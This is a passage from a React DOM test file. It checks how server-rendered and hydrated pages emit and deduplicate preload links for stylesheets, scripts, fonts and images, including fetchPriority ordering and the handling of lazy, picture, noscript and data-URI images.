unblocked, and the\n    // error screen should appear.\n    await clientAct(() => loadStylesheets());\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link data-precedence=\"default\" href=\"A\" rel=\"stylesheet\" />\n          <link as=\"style\" href=\"A\" rel=\"preload\" />\n        </head>\n        <body>Oops!</body>\n      </html>,\n    );\n  });\n\n  it('will not flush a preload for a new rendered Stylesheet Resource if one was already flushed', async () => {\n    function Component() {\n      ReactDOM.preload('foo', {as: 'style'});\n      return (\n        <div>\n          <Suspense fallback=\"loading...\">\n            <BlockedOn value=\"blocked\">\n              <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n              hello\n            </BlockedOn>\n          </Suspense>\n        </div>\n      );\n    }\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <Component />\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" as=\"style\" href=\"foo\" />\n        </head>\n        <body>\n          <div>loading...</div>\n        </body>\n      </html>,\n    );\n    await act(() => {\n      resolveText('blocked');\n    });\n    await act(loadStylesheets);\n    assertLog(['load stylesheet: foo']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"preload\" as=\"style\" href=\"foo\" />\n        </head>\n        <body>\n          <div>hello</div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('will not flush a preload for a new preinitialized Stylesheet Resource if one was already flushed', async () => {\n    function Component() {\n      ReactDOM.preload('foo', {as: 'style'});\n      return (\n        <div>\n          <Suspense fallback=\"loading...\">\n            <BlockedOn value=\"blocked\">\n              <Preinit />\n              hello\n            </BlockedOn>\n          </Suspense>\n        </div>\n      );\n    }\n\n    function Preinit() {\n      ReactDOM.preinit('foo', {as: 'style'});\n    }\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <Component />\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" as=\"style\" href=\"foo\" />\n        </head>\n        <body>\n          <div>loading...</div>\n        </body>\n      </html>,\n    );\n    await act(() => {\n      resolveText('blocked');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" as=\"style\" href=\"foo\" />\n        </head>\n        <body>\n          <div>hello</div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('will not insert a preload if the underlying resource already exists in the Document', async () => {\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n            <script async={true} src=\"bar\" />\n            <link rel=\"preload\" href=\"baz\" as=\"font\" />\n          </head>\n          <body>\n            <div id=\"container\" />\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <script async=\"\" src=\"bar\" />\n          <link rel=\"preload\" href=\"baz\" as=\"font\" />\n        </head>\n        <body>\n          <div id=\"container\" />\n        </body>\n      </html>,\n    );\n\n    container = document.getElementById('container');\n\n    function ClientApp() {\n      ReactDOM.preload('foo', {as: 'style'});\n      ReactDOM.preload('bar', {as: 'script'});\n      ReactDOM.preload('baz', {as: 'font'});\n      return 'foo';\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n\n    await clientAct(() => root.render(<ClientApp />));\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <script async=\"\" src=\"bar\" />\n          <link rel=\"preload\" href=\"baz\" as=\"font\" />\n        </head>\n        <body>\n          <div id=\"container\">foo</div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('uses imageSrcSet and imageSizes when keying image preloads', async () => {\n    function App({isClient}) {\n      // Will key off href in absense of imageSrcSet\n      ReactDOM.preload('foo', {as: 'image'});\n      ReactDOM.preload('foo', {as: 'image'});\n\n      // Will key off imageSrcSet + imageSizes\n      ReactDOM.preload('foo', {as: 'image', imageSrcSet: 'fooset'});\n      ReactDOM.preload('foo2', {as: 'image', imageSrcSet: 'fooset'});\n\n      // Will key off imageSrcSet + imageSizes\n      ReactDOM.preload('foo', {\n        as: 'image',\n        imageSrcSet: 'fooset',\n        imageSizes: 'foosizes',\n      });\n      ReactDOM.preload('foo2', {\n        as: 'image',\n        imageSrcSet: 'fooset',\n        imageSizes: 'foosizes',\n      });\n\n      // Will key off href in absense of imageSrcSet, imageSizes is ignored. these should match the\n      // first preloads not not emit a new preload tag\n      ReactDOM.preload('foo', {as: 'image', imageSizes: 'foosizes'});\n      ReactDOM.preload('foo', {as: 'image', imageSizes: 'foosizes'});\n\n      // These preloads are for something that isn't an image\n      // They should all key off the href\n      ReactDOM.preload('bar', {as: 'somethingelse'});\n      ReactDOM.preload('bar', {\n        as: 'somethingelse',\n        imageSrcSet: 'makes no sense',\n      });\n      ReactDOM.preload('bar', {\n        as: 'somethingelse',\n        imageSrcSet: 'makes no sense',\n        imageSizes: 'makes no sense',\n      });\n\n      if (isClient) {\n        // Will key off href in absense of imageSrcSet\n        ReactDOM.preload('client', {as: 'image'});\n        ReactDOM.preload('client', {as: 'image'});\n\n        // Will key off imageSrcSet + imageSizes\n        ReactDOM.preload('client', {as: 'image', imageSrcSet: 'clientset'});\n        ReactDOM.preload('client2', {as: 'image', imageSrcSet: 'clientset'});\n\n        // Will key off imageSrcSet + imageSizes\n        ReactDOM.preload('client', {\n          as: 'image',\n          imageSrcSet: 'clientset',\n          imageSizes: 'clientsizes',\n        });\n        ReactDOM.preload('client2', {\n          as: 'image',\n          imageSrcSet: 'clientset',\n          imageSizes: 'clientsizes',\n        });\n\n        // Will key off href in absense of imageSrcSet, imageSizes is ignored. these should match the\n        // first preloads not not emit a new preload tag\n        ReactDOM.preload('client', {as: 'image', imageSizes: 'clientsizes'});\n        ReactDOM.preload('client', {as: 'image', imageSizes: 'clientsizes'});\n      }\n\n      return (\n        <html>\n          <body>hello</body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" as=\"image\" href=\"foo\" />\n          <link rel=\"preload\" as=\"image\" imagesrcset=\"fooset\" />\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"fooset\"\n            imagesizes=\"foosizes\"\n          />\n          <link rel=\"preload\" as=\"somethingelse\" href=\"bar\" />\n        </head>\n        <body>hello</body>\n      </html>,\n    );\n\n    const root = ReactDOMClient.hydrateRoot(document, <App />);\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" as=\"image\" href=\"foo\" />\n          <link rel=\"preload\" as=\"image\" imagesrcset=\"fooset\" />\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"fooset\"\n            imagesizes=\"foosizes\"\n          />\n          <link rel=\"preload\" as=\"somethingelse\" href=\"bar\" />\n        </head>\n        <body>hello</body>\n      </html>,\n    );\n\n    root.render(<App isClient={true} />);\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" as=\"image\" href=\"foo\" />\n          <link rel=\"preload\" as=\"image\" imagesrcset=\"fooset\" />\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"fooset\"\n            imagesizes=\"foosizes\"\n          />\n          <link rel=\"preload\" as=\"somethingelse\" href=\"bar\" />\n          <link rel=\"preload\" as=\"image\" href=\"client\" />\n          <link rel=\"preload\" as=\"image\" imagesrcset=\"clientset\" />\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"clientset\"\n            imagesizes=\"clientsizes\"\n          />\n        </head>\n        <body>hello</body>\n      </html>,\n    );\n  });\n\n  it('should handle referrerPolicy on image preload', async () => {\n    function App({isClient}) {\n      ReactDOM.preload('/server', {\n        as: 'image',\n        imageSrcSet: '/server',\n        imageSizes: '100vw',\n        referrerPolicy: 'no-referrer',\n      });\n\n      if (isClient) {\n        ReactDOM.preload('/client', {\n          as: 'image',\n          imageSrcSet: '/client',\n          imageSizes: '100vw',\n          referrerPolicy: 'no-referrer',\n        });\n      }\n\n      return (\n        <html>\n          <body>hello</body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"/server\"\n            imagesizes=\"100vw\"\n            referrerpolicy=\"no-referrer\"\n          />\n        </head>\n        <body>hello</body>\n      </html>,\n    );\n\n    const root = ReactDOMClient.hydrateRoot(document, <App />);\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"/server\"\n            imagesizes=\"100vw\"\n            referrerpolicy=\"no-referrer\"\n          />\n        </head>\n        <body>hello</body>\n      </html>,\n    );\n\n    root.render(<App isClient={true} />);\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"/server\"\n            imagesizes=\"100vw\"\n            referrerpolicy=\"no-referrer\"\n          />\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"/client\"\n            imagesizes=\"100vw\"\n            referrerpolicy=\"no-referrer\"\n          />\n        </head>\n        <body>hello</body>\n      </html>,\n    );\n  });\n\n  it('can emit preloads for non-lazy images that are rendered', async () => {\n    function App() {\n      ReactDOM.preload('script', {as: 'script'});\n      ReactDOM.preload('a', {as: 'image'});\n      ReactDOM.preload('b', {as: 'image'});\n      return (\n        <html>\n          <body>\n            <img src=\"a\" />\n            <img src=\"b\" loading=\"lazy\" />\n            <img src=\"b2\" loading=\"lazy\" />\n            <img src=\"c\" srcSet=\"srcsetc\" />\n            <img src=\"d\" srcSet=\"srcsetd\" sizes=\"sizesd\" />\n            <img src=\"d\" srcSet=\"srcsetd\" sizes=\"sizesd2\" />\n          </body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n\n    // non-lazy images are first, then arbitrary preloads like for the script and lazy images\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" href=\"a\" as=\"image\" />\n          <link rel=\"preload\" as=\"image\" imagesrcset=\"srcsetc\" />\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"srcsetd\"\n            imagesizes=\"sizesd\"\n          />\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"srcsetd\"\n            imagesizes=\"sizesd2\"\n          />\n          <link rel=\"preload\" href=\"script\" as=\"script\" />\n          <link rel=\"preload\" href=\"b\" as=\"image\" />\n        </head>\n        <body>\n          <img src=\"a\" />\n          <img src=\"b\" loading=\"lazy\" />\n          <img src=\"b2\" loading=\"lazy\" />\n          <img src=\"c\" srcset=\"srcsetc\" />\n          <img src=\"d\" srcset=\"srcsetd\" sizes=\"sizesd\" />\n          <img src=\"d\" srcset=\"srcsetd\" sizes=\"sizesd2\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('Does not preload lazy images', async () => {\n    function App() {\n      ReactDOM.preload('a', {as: 'image'});\n      return (\n        <html>\n          <body>\n            <img src=\"a\" fetchPriority=\"low\" />\n            <img src=\"b\" fetchPriority=\"low\" />\n          </body>\n        </html>\n      );\n    }\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" as=\"image\" href=\"a\" />\n        </head>\n        <body>\n          <img src=\"a\" fetchpriority=\"low\" />\n          <img src=\"b\" fetchpriority=\"low\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('preloads up to 10 suspensey images as high priority when fetchPriority is not specified', async () => {\n    function App() {\n      ReactDOM.preload('1', {as: 'image', fetchPriority: 'high'});\n      ReactDOM.preload('auto', {as: 'image'});\n      ReactDOM.preload('low', {as: 'image', fetchPriority: 'low'});\n      ReactDOM.preload('9', {as: 'image', fetchPriority: 'high'});\n      ReactDOM.preload('10', {as: 'image', fetchPriority: 'high'});\n      return (\n        <html>\n          <body>\n            {/* skipping 1 */}\n            <img src=\"2\" />\n            <img src=\"3\" fetchPriority=\"auto\" />\n            <img src=\"4\" fetchPriority=\"high\" />\n            <img src=\"5\" />\n            <img src=\"5low\" fetchPriority=\"low\" />\n            <img src=\"6\" />\n            <img src=\"7\" />\n            <img src=\"8\" />\n            <img src=\"9\" />\n            {/* skipping 10 */}\n            <img src=\"11\" />\n            <img src=\"12\" fetchPriority=\"high\" />\n          </body>\n        </html>\n      );\n    }\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          {/* First we see the preloads calls that made it to the high priority image queue */}\n          <link rel=\"preload\" as=\"image\" href=\"1\" fetchpriority=\"high\" />\n          <link rel=\"preload\" as=\"image\" href=\"9\" fetchpriority=\"high\" />\n          <link rel=\"preload\" as=\"image\" href=\"10\" fetchpriority=\"high\" />\n          {/* Next we see up to 7 more images qualify for high priority image queue */}\n          <link rel=\"preload\" as=\"image\" href=\"2\" />\n          <link rel=\"preload\" as=\"image\" href=\"3\" fetchpriority=\"auto\" />\n          <link rel=\"preload\" as=\"image\" href=\"4\" fetchpriority=\"high\" />\n          <link rel=\"preload\" as=\"image\" href=\"5\" />\n          <link rel=\"preload\" as=\"image\" href=\"6\" />\n          <link rel=\"preload\" as=\"image\" href=\"7\" />\n          <link rel=\"preload\" as=\"image\" href=\"8\" />\n          {/* Next we see images that are explicitly high priority and thus make it to the high priority image queue */}\n          <link rel=\"preload\" as=\"image\" href=\"12\" fetchpriority=\"high\" />\n          {/* Next we see the remaining preloads that did not make it to the high priority image queue */}\n          <link rel=\"preload\" as=\"image\" href=\"auto\" />\n          <link rel=\"preload\" as=\"image\" href=\"low\" fetchpriority=\"low\" />\n          <link rel=\"preload\" as=\"image\" href=\"11\" />\n        </head>\n        <body>\n          {/* skipping 1 */}\n          <img src=\"2\" />\n          <img src=\"3\" fetchpriority=\"auto\" />\n          <img src=\"4\" fetchpriority=\"high\" />\n          <img src=\"5\" />\n          <img src=\"5low\" fetchpriority=\"low\" />\n          <img src=\"6\" />\n          <img src=\"7\" />\n          <img src=\"8\" />\n          <img src=\"9\" />\n          {/* skipping 10 */}\n          <img src=\"11\" />\n          <img src=\"12\" fetchpriority=\"high\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('can promote images to high priority when at least one instance specifies a high fetchPriority', async () => {\n    function App() {\n      // If a ends up in a higher priority queue than b it will flush first\n      ReactDOM.preload('a', {as: 'image'});\n      ReactDOM.preload('b', {as: 'image'});\n      return (\n        <html>\n          <body>\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n            <img src=\"1\" />\n            <img src=\"2\" />\n            <img src=\"3\" />\n            <img src=\"4\" />\n            <img src=\"5\" />\n            <img src=\"6\" />\n            <img src=\"7\" />\n            <img src=\"8\" />\n            <img src=\"9\" />\n            <img src=\"10\" />\n            <img src=\"11\" />\n            <img src=\"12\" />\n            <img src=\"a\" fetchPriority=\"low\" />\n            <img src=\"a\" />\n            <img src=\"a\" fetchPriority=\"high\" />\n            <img src=\"a\" />\n            <img src=\"a\" />\n          </body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          {/* The First 10 high priority images were just the first 10 rendered images */}\n          <link rel=\"preload\" as=\"image\" href=\"1\" />\n          <link rel=\"preload\" as=\"image\" href=\"2\" />\n          <link rel=\"preload\" as=\"image\" href=\"3\" />\n          <link rel=\"preload\" as=\"image\" href=\"4\" />\n          <link rel=\"preload\" as=\"image\" href=\"5\" />\n          <link rel=\"preload\" as=\"image\" href=\"6\" />\n          <link rel=\"preload\" as=\"image\" href=\"7\" />\n          <link rel=\"preload\" as=\"image\" href=\"8\" />\n          <link rel=\"preload\" as=\"image\" href=\"9\" />\n          <link rel=\"preload\" as=\"image\" href=\"10\" />\n          {/* The \"a\" image was rendered a few times but since at least one of those was with\n          fetchPriorty=\"high\" it ends up in the high priority queue */}\n          <link rel=\"preload\" as=\"image\" href=\"a\" />\n          {/* Stylesheets come in between high priority images and regular preloads */}\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          {/* The remainig images that preloaded at regular priority */}\n          <link rel=\"preload\" as=\"image\" href=\"b\" />\n          <link rel=\"preload\" as=\"image\" href=\"11\" />\n          <link rel=\"preload\" as=\"image\" href=\"12\" />\n        </head>\n        <body>\n          <img src=\"1\" />\n          <img src=\"2\" />\n          <img src=\"3\" />\n          <img src=\"4\" />\n          <img src=\"5\" />\n          <img src=\"6\" />\n          <img src=\"7\" />\n          <img src=\"8\" />\n          <img src=\"9\" />\n          <img src=\"10\" />\n          <img src=\"11\" />\n          <img src=\"12\" />\n          <img src=\"a\" fetchpriority=\"low\" />\n          <img src=\"a\" />\n          <img src=\"a\" fetchpriority=\"high\" />\n          <img src=\"a\" />\n          <img src=\"a\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('preloads from rendered images properly use srcSet and sizes', async () => {\n    function App() {\n      ReactDOM.preload('1', {as: 'image', imageSrcSet: 'ss1'});\n      ReactDOM.preload('2', {\n        as: 'image',\n        imageSrcSet: 'ss2',\n        imageSizes: 's2',\n      });\n      return (\n        <html>\n          <body>\n            <img src=\"1\" srcSet=\"ss1\" />\n            <img src=\"2\" srcSet=\"ss2\" sizes=\"s2\" />\n            <img src=\"3\" srcSet=\"ss3\" />\n            <img src=\"4\" srcSet=\"ss4\" sizes=\"s4\" />\n          </body>\n        </html>\n      );\n    }\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" as=\"image\" imagesrcset=\"ss1\" />\n          <link rel=\"preload\" as=\"image\" imagesrcset=\"ss2\" imagesizes=\"s2\" />\n          <link rel=\"preload\" as=\"image\" imagesrcset=\"ss3\" />\n          <link rel=\"preload\" as=\"image\" imagesrcset=\"ss4\" imagesizes=\"s4\" />\n        </head>\n        <body>\n          <img src=\"1\" srcset=\"ss1\" />\n          <img src=\"2\" srcset=\"ss2\" sizes=\"s2\" />\n          <img src=\"3\" srcset=\"ss3\" />\n          <img src=\"4\" srcset=\"ss4\" sizes=\"s4\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('should not preload images that have a data URIs for src or srcSet', async () => {\n    function App() {\n      return (\n        <html>\n          <body>\n            <img src=\"data:1\" />\n            <img src=\"data:2\" srcSet=\"ss2\" />\n            <img srcSet=\"data:3a, data:3b 2x\" />\n            <img src=\"4\" srcSet=\"data:4a, data4b 2x\" />\n          </body>\n        </html>\n      );\n    }\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <img src=\"data:1\" />\n          <img src=\"data:2\" srcset=\"ss2\" />\n          <img srcset=\"data:3a, data:3b 2x\" />\n          <img src=\"4\" srcset=\"data:4a, data4b 2x\" />\n        </body>\n      </html>,\n    );\n  });\n\n  // https://github.com/vercel/next.js/discussions/54799\n  it('omits preloads when an <img> is inside a <picture>', async () => {\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <picture>\n              <img src=\"foo\" />\n            </picture>\n            <picture>\n              <source type=\"image/webp\" srcSet=\"webpsrc\" />\n              <img src=\"jpg fallback\" />\n            </picture>\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <picture>\n            <img src=\"foo\" />\n          </picture>\n          <picture>\n            <source type=\"image/webp\" srcset=\"webpsrc\" />\n            <img src=\"jpg fallback\" />\n          </picture>\n        </body>\n      </html>,\n    );\n  });\n\n  // Fixes: https://github.com/facebook/react/issues/27910\n  it('omits preloads for images inside noscript tags', async () => {\n    function App() {\n      return (\n        <html>\n          <body>\n            <img src=\"foo\" />\n            <noscript>\n              <img src=\"bar\" />\n            </noscript>\n          </body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" href=\"foo\" as=\"image\" />\n        </head>\n        <body>\n          <img src=\"foo\" />\n          <noscript>&lt;img src=\"bar\"&gt;</noscript>\n        </body>\n      </html>,\n    );\n  });\n\n  it('should handle media on image preload', async () => {\n    function App({isClient}) {\n      ReactDOM.preload('/server', {\n        as: 'image',\n        imageSrcSet: '/server',\n        imageSizes: '100vw',\n        media: 'print and (min-width: 768px)',\n      });\n\n      if (isClient) {\n        ReactDOM.preload('/client', {\n          as: 'image',\n          imageSrcSet: '/client',\n          imageSizes: '100vw',\n          media: 'screen and (max-width: 480px)',\n        });\n      }\n\n      return (\n        <html>\n          <body>hello</body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"/server\"\n            imagesizes=\"100vw\"\n            media=\"print and (min-width: 768px)\"\n          />\n        </head>\n        <body>hello</body>\n      </html>,\n    );\n\n    const root = ReactDOMClient.hydrateRoot(document, <App />);\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"/server\"\n            imagesizes=\"100vw\"\n            media=\"print and (min-width: 768px)\"\n          />\n        </head>\n        <body>hello</body>\n      </html>,\n    );\n\n    root.render(<App isClient={true} />);\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"/server\"\n            imagesizes=\"100vw\"\n            media=\"print and (min-width: 768px)\"\n          />\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"/client\"\n            imagesizes=\"100vw\"\n            media=\"screen and (max-width: 480px)\"\n          />\n        </head>\n        <body>hello</body>\n      </html>,\n    );\n  });\n\n  it('should warn if you preload a stylesheet and then render a style tag with the same href', async () => {\n    const style = 'body { color: red; }';\n    function App() {\n      ReactDOM.preload('foo', {as: 'style'});\n      return (\n        <html>\n          <body>\n            hello\n            <style precedence=\"default\" href=\"foo\">\n              {style}\n            </style>\n          </body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n    assertConsoleErrorDev([\n      'React encountered a hoistable style tag for the same href as a preload: \"foo\". ' +\n        'When using a style tag to inline styles you should not also preload it as a stylsheet.\\n' +\n        '    in style (at **)\\n' +\n        '    in App (at **)',\n    ]);\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <style data-precedence=\"default\" data-href=\"foo\">\n            {style}\n          </style>\n          <link rel=\"preload\" as=\"style\" href=\"foo\" />\n        </head>\n        <body>hello</body>\n      </html>,\n    );\n  });\n\n  it('should preload only once even if you discover a stylesheet, script, or moduleScript late', async () => {\n    function App() {\n      // We start with preinitializing some resources first\n      ReactDOM.preinit('shell preinit/shell', {as: 'style'});\n      ReactDOM.preinit('shell preinit/shell', {as: 'script'});\n      ReactDOM.preinitModule('shell preinit/shell', {as: 'script'});\n\n      // We initiate all the shell preloads\n      ReactDOM.preload('shell preinit/shell', {as: 'style'});\n      ReactDOM.preload('shell preinit/shell', {as: 'script'});\n      ReactDOM.preloadModule('shell preinit/shell', {as: 'script'});\n\n      ReactDOM.preload('shell/shell preinit', {as: 'style'});\n      ReactDOM.preload('shell/shell preinit', {as: 'script'});\n      ReactDOM.preloadModule('shell/shell preinit', {as: 'script'});\n\n      ReactDOM.preload('shell/shell render', {as: 'style'});\n      ReactDOM.preload('shell/shell render', {as: 'script'});\n      ReactDOM.preloadModule('shell/shell render');\n\n      ReactDOM.preload('shell/late preinit', {as: 'style'});\n      ReactDOM.preload('shell/late preinit', {as: 'script'});\n      ReactDOM.preloadModule('shell/late preinit');\n\n      ReactDOM.preload('shell/late render', {as: 'style'});\n      ReactDOM.preload('shell/late render', {as: 'script'});\n      ReactDOM.preloadModule('shell/late render');\n\n      // we preinit later ones that should be created by\n      ReactDOM.preinit('shell/shell preinit', {as: 'style'});\n      ReactDOM.preinit('shell/shell preinit', {as: 'script'});\n      ReactDOM.preinitModule('shell/shell preinit');\n\n      ReactDOM.preinit('late/shell preinit', {as: 'style'});\n      ReactDOM.preinit('late/shell preinit', {as: 'script'});\n      ReactDOM.preinitModule('late/shell preinit');\n      return (\n        <html>\n          <body>\n            <link\n              rel=\"stylesheet\"\n              precedence=\"default\"\n              href=\"shell/shell render\"\n            />\n            <script async={true} src=\"shell/shell render\" />\n            <script type=\"module\" async={true} src=\"shell/shell render\" />\n            <link\n              rel=\"stylesheet\"\n              precedence=\"default\"\n              href=\"late/shell render\"\n            />\n            <script async={true} src=\"late/shell render\" />\n            <script type=\"module\" async={true} src=\"late/shell render\" />\n            <Suspense fallback=\"late...\">\n              <BlockedOn value=\"late\">\n                <Late />\n              </BlockedOn>\n            </Suspense>\n            <Suspense fallback=\"later...\">\n              <BlockedOn value=\"later\">\n                <Later />\n              </BlockedOn>\n            </Suspense>\n          </body>\n        </html>\n      );\n    }\n\n    function Late() {\n      ReactDOM.preload('late/later preinit', {as: 'style'});\n      ReactDOM.preload('late/later preinit', {as: 'script'});\n      ReactDOM.preloadModule('late/later preinit');\n\n      ReactDOM.preload('late/later render', {as: 'style'});\n      ReactDOM.preload('late/later render', {as: 'script'});\n      ReactDOM.preloadModule('late/later render');\n\n      ReactDOM.preload('late/shell preinit', {as: 'style'});\n      ReactDOM.preload('late/shell preinit', {as: 'script'});\n      ReactDOM.preloadModule('late/shell preinit');\n\n      ReactDOM.preload('late/shell render', {as: 'style'});\n      ReactDOM.preload('late/shell render', {as: 'script'});\n      ReactDOM.preloadModule('late/shell render');\n\n      // late preinits don't actually flush so we won't see this in the DOM as a stylesehet but we should see\n      // the preload for this resource\n      ReactDOM.preinit('shell/late preinit', {as: 'style'});\n      ReactDOM.preinit('shell/late preinit', {as: 'script'});\n      ReactDOM.preinitModule('shell/late preinit');\n      return (\n        <>\n          Late\n          <link\n            rel=\"stylesheet\"\n            precedence=\"default\"\n            href=\"shell/late render\"\n          />\n          <script async={true} src=\"shell/late render\" />\n          <script type=\"module\" async={true} src=\"shell/late render\" />\n        </>\n      );\n    }\n\n    function Later() {\n      // late preinits don't actually flush so we won't see this in the DOM as a stylesehet but we should see\n      // the preload for this resource\n      ReactDOM.preinit('late/later preinit', {as: 'style'});\n      ReactDOM.preinit('late/later preinit', {as: 'script'});\n      ReactDOM.preinitModule('late/later preinit');\n      return (\n        <>\n          Later\n          <link\n            rel=\"stylesheet\"\n            precedence=\"default\"\n            href=\"late/later render\"\n          />\n          <script async={true} src=\"late/later render\" />\n          <script type=\"module\" async={true} src=\"late/later render\" />\n        </>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell preinit/shell\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell/shell preinit\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"late/shell preinit\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell/shell render\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"late/shell render\"\n          />\n          <script async=\"\" src=\"shell preinit/shell\" />\n          <script async=\"\" src=\"shell preinit/shell\" type=\"module\" />\n          <script async=\"\" src=\"shell/shell preinit\" />\n          <script async=\"\" src=\"shell/shell preinit\" type=\"module\" />\n          <script async=\"\" src=\"late/shell preinit\" />\n          <script async=\"\" src=\"late/shell preinit\" type=\"module\" />\n          <script async=\"\" src=\"shell/shell render\" />\n          <script async=\"\" src=\"shell/shell render\" type=\"module\" />\n          <script async=\"\" src=\"late/shell render\" />\n          <script async=\"\" src=\"late/shell render\" type=\"module\" />\n          <link rel=\"preload\" as=\"style\" href=\"shell/late preinit\" />\n          <link rel=\"preload\" as=\"script\" href=\"shell/late preinit\" />\n          <link rel=\"modulepreload\" href=\"shell/late preinit\" />\n          <link rel=\"preload\" as=\"style\" href=\"shell/late render\" />\n          <link rel=\"preload\" as=\"script\" href=\"shell/late render\" />\n          <link rel=\"modulepreload\" href=\"shell/late render\" />\n        </head>\n        <body>\n          {'late...'}\n          {'later...'}\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('late');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        